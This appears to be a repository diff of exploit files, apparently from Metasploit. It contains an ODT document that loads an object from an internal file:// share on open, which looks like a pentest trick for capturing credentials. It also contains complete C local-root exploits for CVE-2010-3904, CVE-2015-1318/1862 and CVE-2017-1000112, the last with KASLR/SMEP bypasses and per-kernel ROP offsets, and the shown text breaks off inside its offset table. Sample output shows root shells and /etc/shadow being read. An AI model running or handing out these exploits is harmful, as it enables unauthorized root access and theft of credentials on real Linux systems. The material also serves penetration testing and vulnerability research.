gcc-4.9-powerpc64le-linux-gnu \
gcc-4.9-aarch64-linux-gnu
if [ ! -e /usr/include/asm ];
then ln -sf /usr/include/asm-generic /usr/include/asm
fi
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2"><office:scripts/><office:font-face-decls><style:font-face style:name="Lucida Sans1" svg:font-family="&apos;Lucida Sans&apos;" style:font-family-generic="swiss"/><style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="&apos;Lucida Sans&apos;" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="fr1" style:family="graphic" style:parent-style-name="OLE"><style:graphic-properties style:horizontal-pos="center" style:horizontal-rel="paragraph" draw:ole-draw-aspect="1"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/><text:p text:style-name="Standard"><draw:frame draw:style-name="fr1" draw:name="Object1" text:anchor-type="paragraph" svg:width="14.101cm" svg:height="9.999cm" draw:z-index="0"><draw:object xlink:href="file://192.168.1.25/test.jpg" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/><draw:image xlink:href="./ObjectReplacements/Object 1" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/></draw:frame></text:p></office:text></office:body></office:document-content>
+18
View File
@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="styles.xml">
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
</rdf:Description>
<rdf:Description rdf:about="">
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
</rdf:Description>
<rdf:Description rdf:about="content.xml">
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
</rdf:Description>
<rdf:Description rdf:about="">
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
</rdf:Description>
<rdf:Description rdf:about="">
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
</rdf:Description>
</rdf:RDF>
+15
View File
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
</manifest:manifest>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"><office:meta><meta:initial-creator>RD_PENTEST</meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>RD_PENTEST</dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:creation-date>2018-05-10T20:29:41.398000000</meta:creation-date><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" meta:non-whitespace-character-count="0"/><meta:generator>LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821</meta:generator></office:meta></office:document-meta>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.

After

Width:  |  Height:  |  Size: 729 B

+288
View File
@@ -0,0 +1,288 @@
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg <drosenberg@vsecurity.com>
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
// Modified for Metasploit (see comments marked 'msf note')
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
// msf note: modified to execute argv[1]
//execl("/bin/sh", "sh", NULL);
system(argv[1]);
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
+143
View File
@@ -0,0 +1,143 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
//
// Apport/Abrt Vulnerability Demo Exploit.
//
// Apport: CVE-2015-1318
// Abrt: CVE-2015-1862
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
// yum install glibc-static or apt-get install libc6-dev
//
//
// Modified for Metasploit. Original exploit:
// - https://www.exploit-db.com/exploits/36746/
//
int main(int argc, char **argv)
{
int status;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
// If we're root, then we've convinced the core handler to run us,
// so create a setuid root executable that can be used outside the chroot.
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
// a shell and cleanup.
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
// Something went wrong.
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
// It looks like the exploit hasn't run yet, so create a chroot.
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
// Create links to the exploit locations we need.
if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
err(EXIT_FAILURE, "failed to create required hard links");
}
// Create a subprocess so we don't enter the new namespace.
if ((wrapper = fork()) == 0) {
// In the child process, create a new pid and user ns. The pid
// namespace is only needed on Ubuntu, because they check for %P != %p
// in their core handler. On Fedora, just a user ns is sufficient.
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
// Create a process in the new namespace.
if ((init = fork()) == 0) {
// Init (pid 1) signal handling is special, so make a subprocess to
// handle the traps.
if ((subprocess = fork()) == 0) {
// Change /proc/self/root, which we can do as we're privileged
// within the new namepace.
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
// Now trap to get the core handler invoked.
__builtin_trap();
// Shouldn't happen, unless user is ptracing us or something.
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
// If the subprocess exited with an abnormal signal, then everything worked.
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
// Something didn't work.
return EXIT_FAILURE;
}
// The new namespace didn't work.
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
// Waitpid failure.
return EXIT_FAILURE;
}
// If the subprocess returned sccess, the exploit probably worked,
// reload with euid zero.
if (waitpid(wrapper, &status, 0) == wrapper) {
// All done, spawn root shell.
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
// Unknown error.
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
Binary file not shown.
+884
View File
@@ -0,0 +1,884 @@
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking kernel version
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for distros based on Ubuntu kernel
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
char* SHELL = "/bin/bash";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_kernel().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
